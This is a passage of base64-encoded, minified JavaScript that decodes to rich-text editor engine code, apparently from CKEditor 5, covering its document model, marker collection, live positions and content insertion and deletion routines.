m1haW4iKXtyZXR1cm4gdGhpcy5yb290cy5nZXQodCl9Z2V0Um9vdE5hbWVzKCl7cmV0dXJuIEFycmF5LmZyb20odGhpcy5yb290cywodD0+dC5yb290TmFtZSkpLmZpbHRlcigodD0+dCE9cWcpKX1yZWdpc3RlclBvc3RGaXhlcih0KXt0aGlzLl9wb3N0Rml4ZXJzLmFkZCh0KX10b0pTT04oKXtjb25zdCB0PWpzKHRoaXMpO3Quc2VsZWN0aW9uPSJbZW5naW5lLm1vZGVsLkRvY3VtZW50U2VsZWN0aW9uXSI7dC5tb2RlbD0iW2VuZ2luZS5tb2RlbC5Nb2RlbF0iO3JldHVybiB0fV9oYW5kbGVDaGFuZ2VCbG9jayh0KXtpZih0aGlzLl9oYXNEb2N1bWVudENoYW5nZWRGcm9tVGhlTGFzdENoYW5nZUJsb2NrKCkpe3RoaXMuX2NhbGxQb3N0Rml4ZXJzKHQpO3RoaXMuc2VsZWN0aW9uLnJlZnJlc2goKTtpZih0aGlzLmRpZmZlci5oYXNEYXRhQ2hhbmdlcygpKXt0aGlzLmZpcmUoImNoYW5nZTpkYXRhIix0LmJhdGNoKX1lbHNle3RoaXMuZmlyZSgiY2hhbmdlIix0LmJhdGNoKX10aGlzLnNlbGVjdGlvbi5yZWZyZXNoKCk7dGhpcy5kaWZmZXIucmVzZXQoKX10aGlzLl9oYXNTZWxlY3Rpb25DaGFuZ2VkRnJvbVRoZUxhc3RDaGFuZ2VCbG9jaz1mYWxzZX1faGFzRG9jdW1lbnRDaGFuZ2VkRnJvbVRoZUxhc3RDaGFuZ2VCbG9jaygpe3JldHVybiF0aGlzLmRpZmZlci5pc0VtcHR5fHx0aGlzLl9oYXNTZWxlY3Rpb25DaGFuZ2VkRnJvbVRoZUxhc3RDaGFuZ2VCbG9ja31fZ2V0RGVmYXVsdFJvb3QoKXtmb3IoY29uc3QgdCBvZiB0aGlzLnJvb3RzKXtpZih0IT09dGhpcy5ncmF2ZXlhcmQpe3JldHVybiB0fX1yZXR1cm4gdGhpcy5ncmF2ZXlhcmR9X2dldERlZmF1bHRSYW5nZSgpe2NvbnN0IHQ9dGhpcy5fZ2V0RGVmYXVsdFJvb3QoKTtjb25zdCBlPXRoaXMubW9kZWw7Y29uc3Qgbj1lLnNjaGVtYTtjb25zdCBpPWUuY3JlYXRlUG9zaXRpb25Gcm9tUGF0aCh0LFswXSk7Y29uc3Qgbz1uLmdldE5lYXJlc3RTZWxlY3Rpb25SYW5nZShpKTtyZXR1cm4gb3x8ZS5jcmVhdGVSYW5nZShpKX1fdmFsaWRhdGVTZWxlY3Rpb25SYW5nZSh0KXtyZXR1cm4gUWcodC5zdGFydCkmJlFnKHQuZW5kKX1fY2FsbFBvc3RGaXhlcnModCl7bGV0IGU9ZmFsc2U7ZG97Zm9yKGNvbnN0IG4gb2YgdGhpcy5fcG9zdEZpeGVycyl7dGhpcy5zZWxlY3Rpb24ucmVmcmVzaCgpO2U9bih0KTtpZihlKXticmVha319fXdoaWxlKGUpfX1fcyhZZyxkcyk7ZnVuY3Rpb24gUWcodCl7Y29uc3QgZT10LnRleHROb2RlO2lmKGUpe2NvbnN0IG49ZS5kYXRhO2NvbnN0IGk9dC5vZmZzZXQtZS5zdGFydE9mZnNldDtyZXR1cm4hV2cobixpKSYmIUtnKG4saSl9cmV0dXJuIHRydWV9Y2xhc3MgJGd7Y29uc3RydWN0b3IoKXt0aGlzLl9tYXJrZXJzPW5ldyBNYXB9W1N5bWJvbC5pdGVyYXRvcl0oKXtyZXR1cm4gdGhpcy5fbWFya2Vycy52YWx1ZXMoKX1oYXModCl7cmV0dXJuIHRoaXMuX21hcmtlcnMuaGFzKHQpfWdldCh0KXtyZXR1cm4gdGhpcy5fbWFya2Vycy5nZXQodCl8fG51bGx9X3NldCh0LGUsbj1mYWxzZSxpPWZhbHNlKXtjb25zdCBvPXQgaW5zdGFuY2VvZiBKZz90Lm5hbWU6dDtpZihvLmluY2x1ZGVzKCIsIikpe3Rocm93IG5ldyBzc1siYSJdKCJtYXJrZXJjb2xsZWN0aW9uLWluY29ycmVjdC1tYXJrZXItbmFtZSIsdGhpcyl9Y29uc3Qgcj10aGlzLl9tYXJrZXJzLmdldChvKTtpZihyKXtjb25zdCB0PXIuZ2V0UmFuZ2UoKTtsZXQgcz1mYWxzZTtpZighdC5pc0VxdWFsKGUpKXtyLl9hdHRhY2hMaXZlUmFuZ2Uoa2YuZnJvbVJhbmdlKGUpKTtzPXRydWV9aWYobiE9ci5tYW5hZ2VkVXNpbmdPcGVyYXRpb25zKXtyLl9tYW5hZ2VkVXNpbmdPcGVyYXRpb25zPW47cz10cnVlfWlmKHR5cGVvZiBpPT09ImJvb2xlYW4iJiZpIT1yLmFmZmVjdHNEYXRhKXtyLl9hZmZlY3RzRGF0YT1pO3M9dHJ1ZX1pZihzKXt0aGlzLmZpcmUoInVwZGF0ZToiK28scix0LGUpfXJldHVybiByfWNvbnN0IHM9a2YuZnJvbVJhbmdlKGUpO2NvbnN0IGE9bmV3IEpnKG8scyxuLGkpO3RoaXMuX21hcmtlcnMuc2V0KG8sYSk7dGhpcy5maXJlKCJ1cGRhdGU6IitvLGEsbnVsbCxlKTtyZXR1cm4gYX1fcmVtb3ZlKHQpe2NvbnN0IGU9dCBpbnN0YW5jZW9mIEpnP3QubmFtZTp0O2NvbnN0IG49dGhpcy5fbWFya2Vycy5nZXQoZSk7aWYobil7dGhpcy5fbWFya2Vycy5kZWxldGUoZSk7dGhpcy5maXJlKCJ1cGRhdGU6IitlLG4sbi5nZXRSYW5nZSgpLG51bGwpO3RoaXMuX2Rlc3Ryb3lNYXJrZXIobik7cmV0dXJuIHRydWV9cmV0dXJuIGZhbHNlfV9yZWZyZXNoKHQpe2NvbnN0IGU9dCBpbnN0YW5jZW9mIEpnP3QubmFtZTp0O2NvbnN0IG49dGhpcy5fbWFya2Vycy5nZXQoZSk7aWYoIW4pe3Rocm93IG5ldyBzc1siYSJdKCJtYXJrZXJjb2xsZWN0aW9uLXJlZnJlc2gtbWFya2VyLW5vdC1leGlzdHMiLHRoaXMpfWNvbnN0IGk9bi5nZXRSYW5nZSgpO3RoaXMuZmlyZSgidXBkYXRlOiIrZSxuLGksaSxuLm1hbmFnZWRVc2luZ09wZXJhdGlvbnMsbi5hZmZlY3RzRGF0YSl9KmdldE1hcmtlcnNBdFBvc2l0aW9uKHQpe2Zvcihjb25zdCBlIG9mIHRoaXMpe2lmKGUuZ2V0UmFuZ2UoKS5jb250YWluc1Bvc2l0aW9uKHQpKXt5aWVsZCBlfX19KmdldE1hcmtlcnNJbnRlcnNlY3RpbmdSYW5nZSh0KXtmb3IoY29uc3QgZSBvZiB0aGlzKXtpZihlLmdldFJhbmdlKCkuZ2V0SW50ZXJzZWN0aW9uKHQpIT09bnVsbCl7eWllbGQgZX19fWRlc3Ryb3koKXtmb3IoY29uc3QgdCBvZiB0aGlzLl9tYXJrZXJzLnZhbHVlcygpKXt0aGlzLl9kZXN0cm95TWFya2VyKHQpfXRoaXMuX21hcmtlcnM9bnVsbDt0aGlzLnN0b3BMaXN0ZW5pbmcoKX0qZ2V0TWFya2Vyc0dyb3VwKHQpe2Zvcihjb25zdCBlIG9mIHRoaXMuX21hcmtlcnMudmFsdWVzKCkpe2lmKGUubmFtZS5zdGFydHNXaXRoKHQrIjoiKSl7eWllbGQgZX19fV9kZXN0cm95TWFya2VyKHQpe3Quc3RvcExpc3RlbmluZygpO3QuX2RldGFjaExpdmVSYW5nZSgpfX1fcygkZyxkcyk7Y2xhc3MgSmd7Y29uc3RydWN0b3IodCxlLG4saSl7dGhpcy5uYW1lPXQ7dGhpcy5fbGl2ZVJhbmdlPXRoaXMuX2F0dGFjaExpdmVSYW5nZShlKTt0aGlzLl9tYW5hZ2VkVXNpbmdPcGVyYXRpb25zPW47dGhpcy5fYWZmZWN0c0RhdGE9aX1nZXQgbWFuYWdlZFVzaW5nT3BlcmF0aW9ucygpe2lmKCF0aGlzLl9saXZlUmFuZ2Upe3Rocm93IG5ldyBzc1siYSJdKCJtYXJrZXItZGVzdHJveWVkIix0aGlzKX1yZXR1cm4gdGhpcy5fbWFuYWdlZFVzaW5nT3BlcmF0aW9uc31nZXQgYWZmZWN0c0RhdGEoKXtpZighdGhpcy5fbGl2ZVJhbmdlKXt0aHJvdyBuZXcgc3NbImEiXSgibWFya2VyLWRlc3Ryb3llZCIsdGhpcyl9cmV0dXJuIHRoaXMuX2FmZmVjdHNEYXRhfWdldFN0YXJ0KCl7aWYoIXRoaXMuX2xpdmVSYW5nZSl7dGhyb3cgbmV3IHNzWyJhIl0oIm1hcmtlci1kZXN0cm95ZWQiLHRoaXMpfXJldHVybiB0aGlzLl9saXZlUmFuZ2Uuc3RhcnQuY2xvbmUoKX1nZXRFbmQoKXtpZighdGhpcy5fbGl2ZVJhbmdlKXt0aHJvdyBuZXcgc3NbImEiXSgibWFya2VyLWRlc3Ryb3llZCIsdGhpcyl9cmV0dXJuIHRoaXMuX2xpdmVSYW5nZS5lbmQuY2xvbmUoKX1nZXRSYW5nZSgpe2lmKCF0aGlzLl9saXZlUmFuZ2Upe3Rocm93IG5ldyBzc1siYSJdKCJtYXJrZXItZGVzdHJveWVkIix0aGlzKX1yZXR1cm4gdGhpcy5fbGl2ZVJhbmdlLnRvUmFuZ2UoKX1pcyh0KXtyZXR1cm4gdD09PSJtYXJrZXIifHx0PT09Im1vZGVsOm1hcmtlciJ9X2F0dGFjaExpdmVSYW5nZSh0KXtpZih0aGlzLl9saXZlUmFuZ2Upe3RoaXMuX2RldGFjaExpdmVSYW5nZSgpfXQuZGVsZWdhdGUoImNoYW5nZTpyYW5nZSIpLnRvKHRoaXMpO3QuZGVsZWdhdGUoImNoYW5nZTpjb250ZW50IikudG8odGhpcyk7dGhpcy5fbGl2ZVJhbmdlPXQ7cmV0dXJuIHR9X2RldGFjaExpdmVSYW5nZSgpe3RoaXMuX2xpdmVSYW5nZS5zdG9wRGVsZWdhdGluZygiY2hhbmdlOnJhbmdlIix0aGlzKTt0aGlzLl9saXZlUmFuZ2Uuc3RvcERlbGVnYXRpbmcoImNoYW5nZTpjb250ZW50Iix0aGlzKTt0aGlzLl9saXZlUmFuZ2UuZGV0YWNoKCk7dGhpcy5fbGl2ZVJhbmdlPW51bGx9fV9zKEpnLGRzKTtjbGFzcyBaZyBleHRlbmRzIGNne2dldCB0eXBlKCl7cmV0dXJuIm5vb3AifWNsb25lKCl7cmV0dXJuIG5ldyBaZyh0aGlzLmJhc2VWZXJzaW9uKX1nZXRSZXZlcnNlZCgpe3JldHVybiBuZXcgWmcodGhpcy5iYXNlVmVyc2lvbisxKX1fZXhlY3V0ZSgpe31zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJOb09wZXJhdGlvbiJ9fWNvbnN0IFhnPXt9O1hnW0FnLmNsYXNzTmFtZV09QWc7WGdbeWcuY2xhc3NOYW1lXT15ZztYZ1t4Zy5jbGFzc05hbWVdPXhnO1hnW3ZnLmNsYXNzTmFtZV09dmc7WGdbWmcuY2xhc3NOYW1lXT1aZztYZ1tjZy5jbGFzc05hbWVdPWNnO1hnW0RnLmNsYXNzTmFtZV09RGc7WGdbRWcuY2xhc3NOYW1lXT1FZztYZ1tTZy5jbGFzc05hbWVdPVNnO1hnW01nLmNsYXNzTmFtZV09TWc7Y2xhc3MgdHB7c3RhdGljIGZyb21KU09OKHQsZSl7cmV0dXJuIFhnW3QuX19jbGFzc05hbWVdLmZyb21KU09OKHQsZSl9fWNsYXNzIGVwIGV4dGVuZHMgSmh7Y29uc3RydWN0b3IodCxlLG49InRvTm9uZSIpe3N1cGVyKHQsZSxuKTtpZighdGhpcy5yb290LmlzKCJyb290RWxlbWVudCIpKXt0aHJvdyBuZXcgc3NbImEiXSgibW9kZWwtbGl2ZXBvc2l0aW9uLXJvb3Qtbm90LXJvb3RlbGVtZW50Iix0KX1ucC5jYWxsKHRoaXMpfWRldGFjaCgpe3RoaXMuc3RvcExpc3RlbmluZygpfWlzKHQpe3JldHVybiB0PT09ImxpdmVQb3NpdGlvbiJ8fHQ9PT0ibW9kZWw6bGl2ZVBvc2l0aW9uInx8dD09InBvc2l0aW9uInx8dD09PSJtb2RlbDpwb3NpdGlvbiJ9dG9Qb3NpdGlvbigpe3JldHVybiBuZXcgSmgodGhpcy5yb290LHRoaXMucGF0aC5zbGljZSgpLHRoaXMuc3RpY2tpbmVzcyl9c3RhdGljIGZyb21Qb3NpdGlvbih0LGUpe3JldHVybiBuZXcgdGhpcyh0LnJvb3QsdC5wYXRoLnNsaWNlKCksZT9lOnQuc3RpY2tpbmVzcyl9fWZ1bmN0aW9uIG5wKCl7dGhpcy5saXN0ZW5Ubyh0aGlzLnJvb3QuZG9jdW1lbnQubW9kZWwsImFwcGx5T3BlcmF0aW9uIiwoKHQsZSk9Pntjb25zdCBuPWVbMF07aWYoIW4uaXNEb2N1bWVudE9wZXJhdGlvbil7cmV0dXJufWlwLmNhbGwodGhpcyxuKX0pLHtwcmlvcml0eToibG93In0pfWZ1bmN0aW9uIGlwKHQpe2NvbnN0IGU9dGhpcy5nZXRUcmFuc2Zvcm1lZEJ5T3BlcmF0aW9uKHQpO2lmKCF0aGlzLmlzRXF1YWwoZSkpe2NvbnN0IHQ9dGhpcy50b1Bvc2l0aW9uKCk7dGhpcy5wYXRoPWUucGF0aDt0aGlzLnJvb3Q9ZS5yb290O3RoaXMuZmlyZSgiY2hhbmdlIix0KX19X3MoZXAsZHMpO2Z1bmN0aW9uIG9wKHQsZSxuLGkpe3JldHVybiB0LmNoYW5nZSgobz0+e2xldCByO2lmKCFuKXtyPXQuZG9jdW1lbnQuc2VsZWN0aW9ufWVsc2UgaWYobiBpbnN0YW5jZW9mIHVmfHxuIGluc3RhbmNlb2YgX2Ype3I9bn1lbHNle3I9by5jcmVhdGVTZWxlY3Rpb24obixpKX1pZighci5pc0NvbGxhcHNlZCl7dC5kZWxldGVDb250ZW50KHIse2RvTm90QXV0b3BhcmFncmFwaDp0cnVlfSl9Y29uc3Qgcz1uZXcgcnAodCxvLHIuYW5jaG9yKTtsZXQgYTtpZihlLmlzKCJkb2N1bWVudEZyYWdtZW50Iikpe2E9ZS5nZXRDaGlsZHJlbigpfWVsc2V7YT1bZV19cy5oYW5kbGVOb2RlcyhhLHtpc0ZpcnN0OnRydWUsaXNMYXN0OnRydWV9KTtjb25zdCBjPXMuZ2V0U2VsZWN0aW9uUmFuZ2UoKTtpZihjKXtpZihyIGluc3RhbmNlb2YgX2Ype28uc2V0U2VsZWN0aW9uKGMpfWVsc2V7ci5zZXRUbyhjKX19ZWxzZXt9Y29uc3QgbD1zLmdldEFmZmVjdGVkUmFuZ2UoKXx8dC5jcmVhdGVSYW5nZShyLmFuY2hvcik7cy5kZXN0cm95KCk7cmV0dXJuIGx9KSl9Y2xhc3MgcnB7Y29uc3RydWN0b3IodCxlLG4pe3RoaXMubW9kZWw9dDt0aGlzLndyaXRlcj1lO3RoaXMucG9zaXRpb249bjt0aGlzLmNhbk1lcmdlV2l0aD1uZXcgU2V0KFt0aGlzLnBvc2l0aW9uLnBhcmVudF0pO3RoaXMuc2NoZW1hPXQuc2NoZW1hO3RoaXMuX2ZpbHRlckF0dHJpYnV0ZXNPZj1bXTt0aGlzLl9hZmZlY3RlZFN0YXJ0PW51bGw7dGhpcy5fYWZmZWN0ZWRFbmQ9bnVsbH1oYW5kbGVOb2Rlcyh0LGUpe3Q9QXJyYXkuZnJvbSh0KTtmb3IobGV0IG49MDtuPHQubGVuZ3RoO24rKyl7Y29uc3QgaT10W25dO3RoaXMuX2hhbmRsZU5vZGUoaSx7aXNGaXJzdDpuPT09MCYmZS5pc0ZpcnN0LGlzTGFzdDpuPT09dC5sZW5ndGgtMSYmZS5pc0xhc3R9KX10aGlzLnNjaGVtYS5yZW1vdmVEaXNhbGxvd2VkQXR0cmlidXRlcyh0aGlzLl9maWx0ZXJBdHRyaWJ1dGVzT2YsdGhpcy53cml0ZXIpO3RoaXMuX2ZpbHRlckF0dHJpYnV0ZXNPZj1bXX1nZXRTZWxlY3Rpb25SYW5nZSgpe2lmKHRoaXMubm9kZVRvU2VsZWN0KXtyZXR1cm4gZWYuX2NyZWF0ZU9uKHRoaXMubm9kZVRvU2VsZWN0KX1yZXR1cm4gdGhpcy5tb2RlbC5zY2hlbWEuZ2V0TmVhcmVzdFNlbGVjdGlvblJhbmdlKHRoaXMucG9zaXRpb24pfWdldEFmZmVjdGVkUmFuZ2UoKXtpZighdGhpcy5fYWZmZWN0ZWRTdGFydCl7cmV0dXJuIG51bGx9cmV0dXJuIG5ldyBlZih0aGlzLl9hZmZlY3RlZFN0YXJ0LHRoaXMuX2FmZmVjdGVkRW5kKX1kZXN0cm95KCl7aWYodGhpcy5fYWZmZWN0ZWRTdGFydCl7dGhpcy5fYWZmZWN0ZWRTdGFydC5kZXRhY2goKX1pZih0aGlzLl9hZmZlY3RlZEVuZCl7dGhpcy5fYWZmZWN0ZWRFbmQuZGV0YWNoKCl9fV9oYW5kbGVOb2RlKHQsZSl7aWYodGhpcy5zY2hlbWEuaXNPYmplY3QodCkpe3RoaXMuX2hhbmRsZU9iamVjdCh0LGUpO3JldHVybn1jb25zdCBuPXRoaXMuX2NoZWNrQW5kU3BsaXRUb0FsbG93ZWRQb3NpdGlvbih0LGUpO2lmKCFuKXt0aGlzLl9oYW5kbGVEaXNhbGxvd2VkTm9kZSh0LGUpO3JldHVybn10aGlzLl9pbnNlcnQodCk7dGhpcy5fbWVyZ2VTaWJsaW5nc09mKHQsZSl9X2hhbmRsZU9iamVjdCh0LGUpe2lmKHRoaXMuX2NoZWNrQW5kU3BsaXRUb0FsbG93ZWRQb3NpdGlvbih0KSl7dGhpcy5faW5zZXJ0KHQpfWVsc2V7dGhpcy5fdHJ5QXV0b3BhcmFncmFwaGluZyh0LGUpfX1faGFuZGxlRGlzYWxsb3dlZE5vZGUodCxlKXtpZih0LmlzKCJlbGVtZW50Iikpe3RoaXMuaGFuZGxlTm9kZXModC5nZXRDaGlsZHJlbigpLGUpfWVsc2V7dGhpcy5fdHJ5QXV0b3BhcmFncmFwaGluZyh0LGUpfX1faW5zZXJ0KHQpe2lmKCF0aGlzLnNjaGVtYS5jaGVja0NoaWxkKHRoaXMucG9zaXRpb24sdCkpe3Rocm93IG5ldyBzc1siYSJdKCJpbnNlcnRjb250ZW50LXdyb25nLXBvc2l0aW9uIix0aGlzLHtub2RlOnQscG9zaXRpb246dGhpcy5wb3NpdGlvbn0pfWNvbnN0IGU9ZXAuZnJvbVBvc2l0aW9uKHRoaXMucG9zaXRpb24sInRvTmV4dCIpO3RoaXMuX3NldEFmZmVjdGVkQm91bmRhcmllcyh0aGlzLnBvc2l0aW9uKTt0aGlzLndyaXRlci5pbnNlcnQodCx0aGlzLnBvc2l0aW9uKTt0aGlzLnBvc2l0aW9uPWUudG9Qb3NpdGlvbigpO2UuZGV0YWNoKCk7aWYodGhpcy5zY2hlbWEuaXNPYmplY3QodCkmJiF0aGlzLnNjaGVtYS5jaGVja0NoaWxkKHRoaXMucG9zaXRpb24sIiR0ZXh0Iikpe3RoaXMubm9kZVRvU2VsZWN0PXR9ZWxzZXt0aGlzLm5vZGVUb1NlbGVjdD1udWxsfXRoaXMuX2ZpbHRlckF0dHJpYnV0ZXNPZi5wdXNoKHQpfV9zZXRBZmZlY3RlZEJvdW5kYXJpZXModCl7aWYoIXRoaXMuX2FmZmVjdGVkU3RhcnQpe3RoaXMuX2FmZmVjdGVkU3RhcnQ9ZXAuZnJvbVBvc2l0aW9uKHQsInRvUHJldmlvdXMiKX1pZighdGhpcy5fYWZmZWN0ZWRFbmR8fHRoaXMuX2FmZmVjdGVkRW5kLmlzQmVmb3JlKHQpKXtpZih0aGlzLl9hZmZlY3RlZEVuZCl7dGhpcy5fYWZmZWN0ZWRFbmQuZGV0YWNoKCl9dGhpcy5fYWZmZWN0ZWRFbmQ9ZXAuZnJvbVBvc2l0aW9uKHQsInRvTmV4dCIpfX1fbWVyZ2VTaWJsaW5nc09mKHQsZSl7aWYoISh0IGluc3RhbmNlb2YgcWgpKXtyZXR1cm59Y29uc3Qgbj10aGlzLl9jYW5NZXJnZUxlZnQodCxlKTtjb25zdCBpPXRoaXMuX2Nhbk1lcmdlUmlnaHQodCxlKTtjb25zdCBvPWVwLl9jcmVhdGVCZWZvcmUodCk7by5zdGlja2luZXNzPSJ0b05leHQiO2NvbnN0IHI9ZXAuX2NyZWF0ZUFmdGVyKHQpO3Iuc3RpY2tpbmVzcz0idG9OZXh0IjtpZihuKXtjb25zdCB0PWVwLmZyb21Qb3NpdGlvbih0aGlzLnBvc2l0aW9uKTt0LnN0aWNraW5lc3M9InRvTmV4dCI7aWYodGhpcy5fYWZmZWN0ZWRTdGFydC5pc0VxdWFsKG8pKXt0aGlzLl9hZmZlY3RlZFN0YXJ0LmRldGFjaCgpO3RoaXMuX2FmZmVjdGVkU3RhcnQ9ZXAuX2NyZWF0ZUF0KG8ubm9kZUJlZm9yZSwiZW5kIiwidG9QcmV2aW91cyIpfXRoaXMud3JpdGVyLm1lcmdlKG8pO2lmKG8uaXNFcXVhbCh0aGlzLl9hZmZlY3RlZEVuZCkmJmUuaXNMYXN0KXt0aGlzLl9hZmZlY3RlZEVuZC5kZXRhY2goKTt0aGlzLl9hZmZlY3RlZEVuZD1lcC5fY3JlYXRlQXQoby5ub2RlQmVmb3JlLCJlbmQiLCJ0b05leHQiKX10aGlzLnBvc2l0aW9uPXQudG9Qb3NpdGlvbigpO3QuZGV0YWNoKCl9aWYoaSl7aWYoIXRoaXMucG9zaXRpb24uaXNFcXVhbChyKSl7dGhyb3cgbmV3IHNzWyJhIl0oImluc2VydGNvbnRlbnQtaW52YWxpZC1pbnNlcnRpb24tcG9zaXRpb24iLHRoaXMpfXRoaXMucG9zaXRpb249SmguX2NyZWF0ZUF0KHIubm9kZUJlZm9yZSwiZW5kIik7Y29uc3QgdD1lcC5mcm9tUG9zaXRpb24odGhpcy5wb3NpdGlvbiwidG9QcmV2aW91cyIpO2lmKHRoaXMuX2FmZmVjdGVkRW5kLmlzRXF1YWwocikpe3RoaXMuX2FmZmVjdGVkRW5kLmRldGFjaCgpO3RoaXMuX2FmZmVjdGVkRW5kPWVwLl9jcmVhdGVBdChyLm5vZGVCZWZvcmUsImVuZCIsInRvTmV4dCIpfXRoaXMud3JpdGVyLm1lcmdlKHIpO2lmKHIuZ2V0U2hpZnRlZEJ5KC0xKS5pc0VxdWFsKHRoaXMuX2FmZmVjdGVkU3RhcnQpJiZlLmlzRmlyc3Qpe3RoaXMuX2FmZmVjdGVkU3RhcnQuZGV0YWNoKCk7dGhpcy5fYWZmZWN0ZWRTdGFydD1lcC5fY3JlYXRlQXQoci5ub2RlQmVmb3JlLDAsInRvUHJldmlvdXMiKX10aGlzLnBvc2l0aW9uPXQudG9Qb3NpdGlvbigpO3QuZGV0YWNoKCl9aWYobnx8aSl7dGhpcy5fZmlsdGVyQXR0cmlidXRlc09mLnB1c2godGhpcy5wb3NpdGlvbi5wYXJlbnQpfW8uZGV0YWNoKCk7ci5kZXRhY2goKX1fY2FuTWVyZ2VMZWZ0KHQsZSl7Y29uc3Qgbj10LnByZXZpb3VzU2libGluZztyZXR1cm4gZS5pc0ZpcnN0JiZuIGluc3RhbmNlb2YgcWgmJnRoaXMuY2FuTWVyZ2VXaXRoLmhhcyhuKSYmdGhpcy5tb2RlbC5zY2hlbWEuY2hlY2tNZXJnZShuLHQpfV9jYW5NZXJnZVJpZ2h0KHQsZSl7Y29uc3Qgbj10Lm5leHRTaWJsaW5nO3JldHVybiBlLmlzTGFzdCYmbiBpbnN0YW5jZW9mIHFoJiZ0aGlzLmNhbk1lcmdlV2l0aC5oYXMobikmJnRoaXMubW9kZWwuc2NoZW1hLmNoZWNrTWVyZ2UodCxuKX1fdHJ5QXV0b3BhcmFncmFwaGluZyh0LGUpe2NvbnN0IG49dGhpcy53cml0ZXIuY3JlYXRlRWxlbWVudCgicGFyYWdyYXBoIik7aWYodGhpcy5fZ2V0QWxsb3dlZEluKG4sdGhpcy5wb3NpdGlvbi5wYXJlbnQpJiZ0aGlzLnNjaGVtYS5jaGVja0NoaWxkKG4sdCkpe24uX2FwcGVuZENoaWxkKHQpO3RoaXMuX2hhbmRsZU5vZGUobixlKX19X2NoZWNrQW5kU3BsaXRUb0FsbG93ZWRQb3NpdGlvbih0KXtjb25zdCBlPXRoaXMuX2dldEFsbG93ZWRJbih0LHRoaXMucG9zaXRpb24ucGFyZW50KTtpZighZSl7cmV0dXJuIGZhbHNlfXdoaWxlKGUhPXRoaXMucG9zaXRpb24ucGFyZW50KXtpZih0aGlzLnNjaGVtYS5pc0xpbWl0KHRoaXMucG9zaXRpb24ucGFyZW50KSl7cmV0dXJuIGZhbHNlfWlmKHRoaXMucG9zaXRpb24uaXNBdFN0YXJ0KXtjb25zdCB0PXRoaXMucG9zaXRpb24ucGFyZW50O3RoaXMucG9zaXRpb249dGhpcy53cml0ZXIuY3JlYXRlUG9zaXRpb25CZWZvcmUodCk7aWYodC5pc0VtcHR5JiZ0LnBhcmVudD09PWUpe3RoaXMud3JpdGVyLnJlbW92ZSh0KX19ZWxzZSBpZih0aGlzLnBvc2l0aW9uLmlzQXRFbmQpe3RoaXMucG9zaXRpb249dGhpcy53cml0ZXIuY3JlYXRlUG9zaXRpb25BZnRlcih0aGlzLnBvc2l0aW9uLnBhcmVudCl9ZWxzZXtjb25zdCB0PXRoaXMud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIodGhpcy5wb3NpdGlvbi5wYXJlbnQpO3RoaXMuX3NldEFmZmVjdGVkQm91bmRhcmllcyh0aGlzLnBvc2l0aW9uKTt0aGlzLndyaXRlci5zcGxpdCh0aGlzLnBvc2l0aW9uKTt0aGlzLnBvc2l0aW9uPXQ7dGhpcy5jYW5NZXJnZVdpdGguYWRkKHRoaXMucG9zaXRpb24ubm9kZUFmdGVyKX19cmV0dXJuIHRydWV9X2dldEFsbG93ZWRJbih0LGUpe2lmKHRoaXMuc2NoZW1hLmNoZWNrQ2hpbGQoZSx0KSl7cmV0dXJuIGV9aWYoZS5wYXJlbnQpe3JldHVybiB0aGlzLl9nZXRBbGxvd2VkSW4odCxlLnBhcmVudCl9cmV0dXJuIG51bGx9fWZ1bmN0aW9uIHNwKHQsZSxuPXt9KXtpZihlLmlzQ29sbGFwc2VkKXtyZXR1cm59Y29uc3QgaT1lLmdldEZpcnN0UmFuZ2UoKTtpZihpLnJvb3Qucm9vdE5hbWU9PSIkZ3JhdmV5YXJkIil7cmV0dXJufWNvbnN0IG89dC5zY2hlbWE7dC5jaGFuZ2UoKHQ9PntpZighbi5kb05vdFJlc2V0RW50aXJlQ29udGVudCYmd3AobyxlKSl7YnAodCxlLG8pO3JldHVybn1jb25zdFtyLHNdPWFwKGkpO2lmKCFyLmlzVG91Y2hpbmcocykpe3QucmVtb3ZlKHQuY3JlYXRlUmFuZ2UocixzKSl9aWYoIW4ubGVhdmVVbm1lcmdlZCl7bHAodCxyLHMpO28ucmVtb3ZlRGlzYWxsb3dlZEF0dHJpYnV0ZXMoci5wYXJlbnQuZ2V0Q2hpbGRyZW4oKSx0KX1DcCh0LGUscik7aWYoIW4uZG9Ob3RBdXRvcGFyYWdyYXBoJiZncChvLHIpKXtrcCh0LHIsZSl9ci5kZXRhY2goKTtzLmRldGFjaCgpfSkpfWZ1bmN0aW9uIGFwKHQpe2NvbnN0IGU9dC5yb290LmRvY3VtZW50Lm1vZGVsO2NvbnN0IG49dC5zdGFydDtsZXQgaT10LmVuZDtpZihlLmhhc0NvbnRlbnQodCx7aWdub3JlTWFya2Vyczp0cnVlfSkpe2NvbnN0IG49Y3AoaSk7aWYobiYmaS5pc1RvdWNoaW5nKGUuY3JlYXRlUG9zaXRpb25BdChuLDApKSl7Y29uc3Qgbj1lLmNyZWF0ZVNlbGVjdGlvbih0KTtlLm1vZGlmeVNlbGVjdGlvbihuLHtkaXJlY3Rpb246ImJhY2t3YXJkIn0pO2k9bi5nZXRMYXN0UG9zaXRpb24oKX19cmV0dXJuW2VwLmZyb21Qb3NpdGlvbihuLCJ0b1ByZXZpb3VzIiksZXAuZnJvbVBvc2l0aW9uKGksInRvTmV4dCIpXX1mdW5jdGlvbiBjcCh0KXtjb25zdCBlPXQucGFyZW50O2NvbnN0IG49ZS5yb290LmRvY3VtZW50Lm1vZGVsLnNjaGVtYTtjb25zdCBpPWUuZ2V0QW5jZXN0b3JzKHtwYXJlbnRGaXJzdDp0cnVlLGluY2x1ZGVTZWxmOnRydWV9KTtmb3IoY29uc3QgdCBvZiBpKXtpZihuLmlzTGltaXQodCkpe3JldHVybiBudWxsfWlmKG4uaXNCbG9jayh0KSl7cmV0dXJuIHR9fX1mdW5jdGlvbiBscCh0LGUsbil7Y29uc3QgaT10Lm1vZGVsO2lmKCFmcCh0Lm1vZGVsLnNjaGVtYSxlLG4pKXtyZXR1cm59Y29uc3RbbyxyXT1tcChlLG4pO2lmKCFvfHwhcil7cmV0dXJufWlmKCFpLmhhc0NvbnRlbnQobyx7aWdub3JlTWFya2Vyczp0cnVlfSkmJmkuaGFzQ29udGVudChyLHtpZ25vcmVNYXJrZXJzOnRydWV9KSl7dXAodCxlLG4sby5wYXJlbnQpfWVsc2V7ZHAodCxlLG4sby5wYXJlbnQpfX1mdW5jdGlvbiBkcCh0LGUsbixpKXtjb25zdCBvPWUucGFyZW50O2NvbnN0IHI9bi5wYXJlbnQ7aWYobz09aXx8cj09aSl7cmV0dXJufWU9dC5jcmVhdGVQb3NpdGlvbkFmdGVyKG8pO249dC5jcmVhdGVQb3